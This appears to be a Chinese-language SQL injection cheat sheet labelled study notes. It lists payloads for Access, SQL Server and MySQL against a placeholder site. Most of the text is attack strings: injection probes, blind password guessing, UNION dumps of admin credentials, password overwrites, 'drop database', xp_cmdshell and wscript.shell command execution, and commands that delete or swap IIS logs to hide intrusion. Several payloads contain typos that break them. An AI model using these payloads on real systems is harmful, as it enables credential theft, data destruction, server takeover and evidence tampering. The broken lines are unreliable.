SQL Injection Study Notes

1、Access
判断是否可注射:
http://www.targer.com/article.asp?id=6
http://www.targer.com/article.asp?id=6'
http://www.targer.com/article.asp?id=6 and 1=1
http://www.targer.com/article.asp?id=6 and 1=2
判断网站后台数据库类型:
http://www.targer.com/article.asp?id=6 and user>0
http://www.targer.com/article.asp?id=6 and (select count(*) from msysobjects)>0
猜解注射:
article.asp?id=6 and exists (select * from admin)
article.asp?id=6 and exists (select password from admin)
article.asp?id=6 and (select top N len(password) from admin)>x
article.asp?id=6 and (select top 1 asc(mid(password,N,1)) from admin)=97
SQL注射Access导出Webshell:Null
2、SQL Server
判断是否可注射:
http://www.targer.com/article.asp?id=6
http://www.targer.com/article.asp?id=6'
http://www.targer.com/article.asp?id=6 and 1=1
http://www.targer.com/article.asp?id=6 and 1=2
http://www.targer.com/article.asp?action=value' and 1=1
http://www.targer.com/article.asp?action=value' and 1=2
searchpoints%' and 1=1
searchpoints%' and 1=2
确定数据库类型:
http://www.targer.com/article.asp?id=6 and user>0
http://www.targer.com/article.asp?id=6 and (select count(*) from sysobjects)>0
查询当前用户数据信息:
article.asp?id=6 having 1=1--
暴当前表中的列:
article.asp?id=6 group by admin.username having 1=1--
article.asp?id=6 group by admin.username,admin.password having 1=1--
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id('admin'),N) from sysobjects)>1
暴数据库数据:
and (select top 1 password from admin where id=N)>1
修改数据库中的数据:
;update admin set password='oooooo' where username='xxx'
增添数据库中的数据:
;insert into admin values (xxx,oooooo)--
删数据库:
;drop database webdata
获取当前数据库用户名:and user>0
获取当前数据库名:and db_name()>0
获取数据库版本:and (select @@version)>0
判断是否支持多句查询:;declare @a int--
判断是否支持子查询:and (select count(1) from [sysobjects])>=0
数据库的扩展存储过程:exec master..xp_cmdshell
查看服务器C盘目录:;exec_master..xp_cmdshell 'dir c:\'
判断扩展存储过程是否存在:and select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'
删除扩展存储过程:;exec sp_dropextendedproc 'xp_cmdshell'
在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限:
;declare @s int
;exec sp_oacreat 'wscript.shell',@s
;exec master..spoamethod @s,'run',null,'cmd.exe/c dir c:\'
判断当前数据库用户名是否拥有比较高的权限:
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))
判断当前数据库用户名是否为DB_OWNER:
and 1=(select is_member('db_owner'))
在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息,只需要PUBLIC权限就可以对此表进行SELECT操作:
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
删除日志记录:
;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'
替换日志记录:
;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'
获取WEB路径:
;declare @shell int
;exec master..sp_oamethod 'wscript.shell',@shell out
;exec master..sp_oamethod @shell,'run',null,'cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索:
;exec master..xp_cmdshell 'dir /s d:/index.asp'
显示服务器网站配置信息命令:
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC权限读取:
;exec master.dbo.xp_regread
hkey_local_machine,
'system\currentcontrolset\services\w3svc\parameters\virtual roots\'
'/'
SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本***第五章。
3、MySQL
判断是否可注射:
http://www.targer.com/article.php?id=6
http://www.targer.com/article.php?id=6 and 1=1
http://www.targer.com/article.php?id=6 and 1=2
判断数据库类型及版本:
http://www.targer.com/article.php?id=6/*lucky
http://www.targer.com/article.php?id=6 and ord(mid(version(),1,1))>51/*
http://www.targer.com/article.php?id=6/*!%20s*/
http://www.targer.com/article.php?id=6/*!300000%20s*/
通过UNION或ORDERBY确定当前数据库的字段数目:
http://www.targer.com/article.php?id=6 union select 1,1,1,1,1,1
http://www.targer.com/article.php?id=6 order by 6
猜解当前数据库表名:
http://www.targer.com/article.php?id=6 union select 1,2,3,4,5,6 from admin
利用猜解表名得到的信息查看数据库版本:
http://www.targer.com/article.php?id=6 union select 1,version(),3,4,5,6 fromadmin
暴管理员帐号密码:
http://www.targer.com/article.php?id=6 union select 1,username,3,4,5,6 from admin
http://www.targer.com/article.php?id=6 union select 1,password,3,4,5,6 from admin
暴表中其他信息:
http://www.targer.com/article.php?id=6 union select 1,username,3,4,5,6 from admin where id=2
http://www.targer.com/article.php?id=6 union select 1,password,3,4,5,6 from admin where id=2
判断是当前数据库是否为ROOT权限:
http://www.targer.com/article.php?id=6 and ord(mid(user(),1,1))114/*
判读是否具有文件读写权限:
http://www.targer.com/article.php?id=6 and (select count(*) from mysql.user)>0
读取十六进制c:/boot.ini文件信息:
http://www.targer.com/article.php?id=6 union select 1,load_file(Ox633A2F626F6F742E696E69),3,4,5,6 from admin